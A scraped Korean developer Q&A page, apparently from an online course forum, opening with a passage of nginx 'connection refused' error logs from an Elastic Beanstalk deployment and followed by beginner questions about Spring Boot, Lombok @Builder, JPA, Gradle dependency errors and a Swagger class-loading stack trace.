failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *16 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *18 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *20 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:30 [error] 9297#9297: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:30 [error] 9297#9297: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:38:11 [error] 9297#9297: *41 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 05:12:56 [error] 18216#18216: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80"
-
미해결
@Builder에 대해서 질문이 있습니다.
스프링 부트에서 DTO를 만들 때 @setter을 빼고 @Builder로 하는게 좋다고 들었습니다.근데 책이랑 구글을 찾아보다 보니 두 가지의 방법으로 하는 것을 봤는데 무슨 차이인지 무엇이 더 좋은 방법인지를 모르겠어서 질문드립니다. 생성자 위에 @Builder를 사용하는 방법@Getter //Getter 생성 public class LombokPerson { private String name; private String grade; private int age; @Builder // 생성자 만든 후 위에 @Build 어노테이션 적용 public LombokPerson(String name, String grade, int age) { this.name = name; this.grade = grade; this.age = age; } 클래스 위에 @Builder를 사용하면서 @Setter도 사용하는 방법@ToString @Setter @Getter @Builder @NoArgsConstructor @AllArgsConstructor public class UserDTO { private String token; private String userName; private String password; private String id; } 2번째의 방법이 책에서 나온 방법인데 @Setter이 바뀔 수도 있어서 @Builder로 생성자로 받는거로 알고 있는데 여기서는 @Setter과 @Builder을 같이 쓰더라구여. 이거에 대해서 알려주세요 ㅠㅠ
-
미해결
Could not find javax.xml.bind:jsxb-api:.
java11, springboot2.7.1로 프로젝트 진행했던 프로젝트를 열어 실행하니 에러가 발생합니다.해결하지 못하여 질문드립니다!발생에러11:46:16 AM: Executing ':RandomApplication.main()'... > Task :compileJava FAILED Deprecated Gradle features were used in this build, making it incompatible with Gradle 8.0. You can use '--warning-mode all' to show the individual deprecation warnings and determine if they come from your own scripts or plugins. See https://docs.gradle.org/7.4.1/userguide/command_line_interface.html#sec:command_line_warnings 1 actionable task: 1 executed FAILURE: Build failed with an exception. * What went wrong: Execution failed for task ':compileJava'. > Could not resolve all files for configuration ':compileClasspath'. > Could not find javax.xml.bind:jsxb-api:. Required by: project : * Try: > Run with --stacktrace option to get the stack trace. > Run with --info or --debug option to get more log output. > Run with --scan to get full insights. * Get more help at https://help.gradle.org BUILD FAILED in 652ms 11:46:16 AM: Execution finished ':RandomApplication.main()'.Execution failed for task ':compileJava'. > Could not resolve all files for configuration ':compileClasspath'. > Could not find javax.xml.bind:jsxb-api:. Required by: project : Possible solution: - Declare repository providing the artifact, see the documentation at https://docs.gradle.org/current/userguide/declaring_repositories.html시도java JDK 버전 확인, 빌드 자동 실행 설정 등.. 구글링해서 찾아봤으나 해결하지 못했습니다ㅠㅠ검색해보면 jaxb-api:. 를 기준으로 나오는데, 제 에러는 jsxb-api 입니다 이 둘의 차이는 무엇인가요?
-
미해결
junit.jupiter의 Assertions 질문
Assertions를 입력했을때 웬 이상한 AssertionsKt가 뜹니다.왜이러는거죠?
-
미해결
극초보 코린이 인텔리제이 빌드 직후 질문
인텔리제이 사용중인 코린이 입니다. 혼자 게시판 만들기 위해서 프로젝트를 생성하였는데 이렇게 왼쪽에 보시는것과 같이 빨간색이 뜨는데 왜뜨는지 해결방법이 무엇인지 도와주세요..ㅜㅜ
-
미해결
JPA 식별관계 사용에 대해서...
Jpa를 사용할 때 테이블 관리를 쉽게 하기 위해서 비식별 관계로 테이블을 설계하라고 들었는데 그러면 실무에서 jpa쓸 때 식별관계를 안쓰나요?
-
해결됨실전! 스프링 부트와 JPA 활용2 - API 개발과 성능 최적화
api 작성중에 enum type 문의 드립니다.
이전 jpa활용 1편에서 작성했던 부분들을 api로 변경을 진행중입니다. 다른 부분들은 잘 진행되고있지만java 기초가 부족해서 enum으로 만든 OrderStatus부분을 어떻게 처리해야될지 감이 잡히질 않아 문의드립니다.처음 주문 내역페이지를 호출 할 때 주문상태(OrderStatus) 부분을 api로 받아 select 구성을 해야합니다. 이 때 enum을 배열로 변환(?)해서 넘기는게 맞는 방법일까요? 조회시 주문상태(OrderStatus)와 회원이름을 form으로 넘길때 Controller에서는 @RequestBody OrderSearch로 받으며 주문상태는 OrderStatus로 선언되어있습니다. 자동 맵핑이 안되는거같은데 enum type을 request로 어떻게 받아야하는지 궁금합니다. 질문이 잘 전달되었을지 모르겠지만 답변부탁드리겠습니다.감사합니다.
-
미해결실전! 스프링 부트와 JPA 활용2 - API 개발과 성능 최적화
변경 감지가 일어나는 시점에 대하여 궁금한 점이 있습니다.
안녕하세요, 언제나 질 좋은 강의 잘 듣고 있습니다. JPA 영속성 컨텍스트에서 변경 감지가 일어나는 시점에 대해서 궁금한 점이 있습니다.영한님께서 강의 10분 45초 즈음에, "트랜잭션이 커밋되는 시점에 JPA가 변경 감지를 실행한다." 라고 언급을 해주셨습니다. 제가 의문이 드는 지점은,영속성 컨텍스트 안에서의 변경 감지영속성 컨텍스트 flush트랜잭션 커밋이 3개가 발생하는 시점입니다. flush가 발생하면, 영속성 컨텍스트의 쓰기 지연 sql 저장소의 쿼리문들이 비워지고, db에 전송된다. 이 때 1차 캐시는 비워지지 않고, 트랜잭션이 커밋되는 시점에서 db에 전송된 쿼리문들이 커밋됨과 동시에 1차 캐시의 스냅샷과 현재 엔티티 상태와의 변경 감지가 일어난다. ---> 이것이 현재 제가 기본적으로 알고 있는 지식입니다. 제 질문은 다음과 같습니다.그런데, 변경 감지라는 것이 결국 update 쿼리문을 날리기 위함인데, 저는 flush 이전에 변경 감지가 발생하여 쓰기 지연 sql 저장소에 update 쿼리문이 저장되는 것이 순서에 맞지 않나? 라는 생각이 듭니다.또한 커밋되는 순간 변경 감지가 일어난다면, 트랜잭션 종료 바로 직전에 update 쿼리문이 날라가는 것이 맞을까요? 즉, (커밋으로 인한 flush가 아닌) 임의의 flush 호출 상황에서는 변경 감지로 인한 쿼리문이 전송되지 않는 것인가요? 질문 이외에도, 제 이해에 틀린 점이 있다면 알려주시면 감사하겠습니다!
-
미해결스프링 입문 - 코드로 배우는 스프링 부트, 웹 MVC, DB 접근 기술
table 생성오류
안녕하십니까 쌤 다음과 같이 진행했는데 여기서 막혀서 질문드립니다. H2 문법을 따로 공부를 해야될듯한데 시간이 조금 오래걸릴것같아 이렇게 질문드립니다. (H2 문법까지 굳이 공부할 필요가 없어보여서...)
-
미해결
1:N 관계에서
특정 게시글을 조회하고 싶을 때 작성된 댓글들도 같이 보고 싶은데 InvalidDefinitionException: Direct self-reference leading to cycle 관련하여 에러가 뜹니다.@JsonIgnore로 해결하기보다 ResponseDto로 만들어서 entity -> ResponseDto로 변환해서 응답하고 싶습니다. 그래서 ResponseDto를 만들어서 entity -> ResponseDto로 변환했는데 저런 에러가 뜹니다. 어떻게 해결해야하는지 도와주세요그리고 @Builder를 사용해 빌터패턴을 적용할 때 인자가 많아질 경우 아래처럼 인자가 저렇게 길어지는 것이 맞는 건가요?? @Builder public ArticleResponseDto(Long id, String title, String content, LocalDateTime createdDate, LocalDateTime updatedDate, List<Hashtag> hashtags, List<Comment> comments) { this.id = id; this.title = title; this.content = content; this.createdDate = createdDate; this.updatedDate = updatedDate; this.hashtags = hashtags; this.comments = comments; }
-
미해결자바 ORM 표준 JPA 프로그래밍 - 기본편
application.properties 질문 드립니다!
[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (아니오)2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예)3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예)[질문 내용]여기에 질문 내용을 남겨주세요.JPA 설정을 persistent.xml에서 설정 내용들을 적어주는데 혹시 spring boot에서 할때는 persistent.xml 말고 application.properties에서 persistent-unit name을 따로 설정 할 수 없을 까요?
-
미해결자바 스프링부트 활용 웹개발 실무용
3강 Swagger 컴파일 에러
swagger 의존성 추가하고 똑같이 코드 작성했는데 오류가 납니다java.lang.IllegalStateException: Failed to introspect Class [kr.co.songjava.configuration.SwaggerConfiguration] from ClassLoader [org.springframework.boot.devtools.restart.classloader.RestartClassLoader@36fd7761] at org.springframework.util.ReflectionUtils.getDeclaredMethods(ReflectionUtils.java:485) ~[spring-core-5.3.22.jar:5.3.22] at org.springframework.util.ReflectionUtils.doWithMethods(ReflectionUtils.java:361) ~[spring-core-5.3.22.jar:5.3.22] at org.springframework.util.ReflectionUtils.getUniqueDeclaredMethods(ReflectionUtils.java:418) ~[spring-core-5.3.22.jar:5.3.22] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.lambda$getTypeForFactoryMethod$2(AbstractAutowireCapableBeanFactory.java:765) ~[spring-beans-5.3.22.jar:5.3.22] at java.util.concurrent.ConcurrentHashMap.computeIfAbsent(ConcurrentHashMap.java:1688) ~[na:1.8.0_291] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.getTypeForFactoryMethod(AbstractAutowireCapableBeanFactory.java:764) ~[spring-beans-5.3.22.jar:5.3.22] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.determineTargetType(AbstractAutowireCapableBeanFactory.java:703) ~[spring-beans-5.3.22.jar:5.3.22] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.predictBeanType(AbstractAutowireCapableBeanFactory.java:674) ~[spring-beans-5.3.22.jar:5.3.22] at org.springframework.beans.factory.support.AbstractBeanFactory.isFactoryBean(AbstractBeanFactory.java:1670) ~[spring-beans-5.3.22.jar:5.3.22] at org.springframework.beans.factory.support.DefaultListableBeanFactory.doGetBeanNamesForType(DefaultListableBeanFactory.java:570) ~[spring-beans-5.3.22.jar:5.3.22] at org.springframework.beans.factory.support.DefaultListableBeanFactory.getBeanNamesForType(DefaultListableBeanFactory.java:542) ~[spring-beans-5.3.22.jar:5.3.22] at org.springframework.beans.factory.support.DefaultListableBeanFactory.getBeansOfType(DefaultListableBeanFactory.java:669) ~[spring-beans-5.3.22.jar:5.3.22] at org.springframework.beans.factory.support.DefaultListableBeanFactory.getBeansOfType(DefaultListableBeanFactory.java:661) ~[spring-beans-5.3.22.jar:5.3.22] at org.springframework.context.support.AbstractApplicationContext.getBeansOfType(AbstractApplicationContext.java:1300) ~[spring-context-5.3.22.jar:5.3.22] at org.springframework.boot.SpringApplication.getExitCodeFromMappedException(SpringApplication.java:867) [spring-boot-2.7.3.jar:2.7.3] at org.springframework.boot.SpringApplication.getExitCodeFromException(SpringApplication.java:855) [spring-boot-2.7.3.jar:2.7.3] at org.springframework.boot.SpringApplication.handleExitCode(SpringApplication.java:842) [spring-boot-2.7.3.jar:2.7.3] at org.springframework.boot.SpringApplication.handleRunFailure(SpringApplication.java:782) [spring-boot-2.7.3.jar:2.7.3] at org.springframework.boot.SpringApplication.run(SpringApplication.java:318) [spring-boot-2.7.3.jar:2.7.3] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1306) [spring-boot-2.7.3.jar:2.7.3] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1295) [spring-boot-2.7.3.jar:2.7.3] at kr.co.songjava.ExampleSpringApplication.main(ExampleSpringApplication.java:10) [classes/:na] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_291] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_291] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_291] at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_291] at org.springframework.boot.devtools.restart.RestartLauncher.run(RestartLauncher.java:49) [spring-boot-devtools-2.7.3.jar:2.7.3] Caused by: java.lang.NoClassDefFoundError: springfox/documentation/spring/web/plugins/Docket at java.lang.Class.getDeclaredMethods0(Native Method) ~[na:1.8.0_291] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[na:1.8.0_291] at java.lang.Class.getDeclaredMethods(Class.java:1975) ~[na:1.8.0_291] at org.springframework.util.ReflectionUtils.getDeclaredMethods(ReflectionUtils.java:467) ~[spring-core-5.3.22.jar:5.3.22] ... 26 common frames omitted Caused by: java.lang.ClassNotFoundException: springfox.documentation.spring.web.plugins.Docket at java.net.URLClassLoader.findClass(URLClassLoader.java:382) ~[na:1.8.0_291] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[na:1.8.0_291] at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:355) ~[na:1.8.0_291] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[na:1.8.0_291] at java.lang.Class.forName0(Native Method) ~[na:1.8.0_291] at java.lang.Class.forName(Class.java:348) ~[na:1.8.0_291] at org.springframework.boot.devtools.restart.classloader.RestartClassLoader.loadClass(RestartClassLoader.java:145) ~[spring-boot-devtools-2.7.3.jar:2.7.3] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[na:1.8.0_291] ... 30 common frames omitted오류 코드가 이렇게 나오는데 어느부분이 문제일까요?? 부트는 2.4.0버전이고 swagger 2.9.2입니다
-
미해결
김영한님 로드맵 관련 질문
안녕하세요 자바 지식은 알고 있는데 김영한님의 스프링부트 로드맵부터 들을지 스프링 로드맵부터 들을지 모르겠습니다. 10월달부터 회사에서 스프링부트를 쓰는데 우선순위를 어디에 둬야할지요.... 답변 부탁드립니다
-
미해결
Springboot 스케줄러를 이용한 db 데이터 자동 삭제
스프링부트스케줄러를 이용해서 mysql에 있는 데이터를 자동삭제 하고 싶습니다. 블로그들을 찾아봐도 딱히 쓸만한 정보를 얻지 못해서 이 글을 작성하게 됩니다. 따롴 클래스를 만들던지 해서 controller에서 처리하고 싶습니다. db에 데이터가 삽입된 기준으로 하던지 현재 시간을 기준으로 최근 1달 정도 데이터를 유지하던지 그런 방식으로 진행하고 싶습니다. 알려주십쇼 ..
-
미해결
firebase.fcm.v1.Fcmerror
스프링부트에서 안드로이드로 알림 버튼을 누르면 다음과 같은 오류가 나왔습니다. 블로그들을 찾아보니 키 생성을 다시 하고 키 값이 일치하지 않는다 하여서 파이어베이스에 새로운 프로젝트를 등록하고 키를 새로 생성해서 스프링부트에 넣어줬습니다. 하지만 여전히 문제는 해결이 되지 않습니다. 어떻게 해야 할지 제발 알려주세요.. 2주동안 고생하고 있습니다.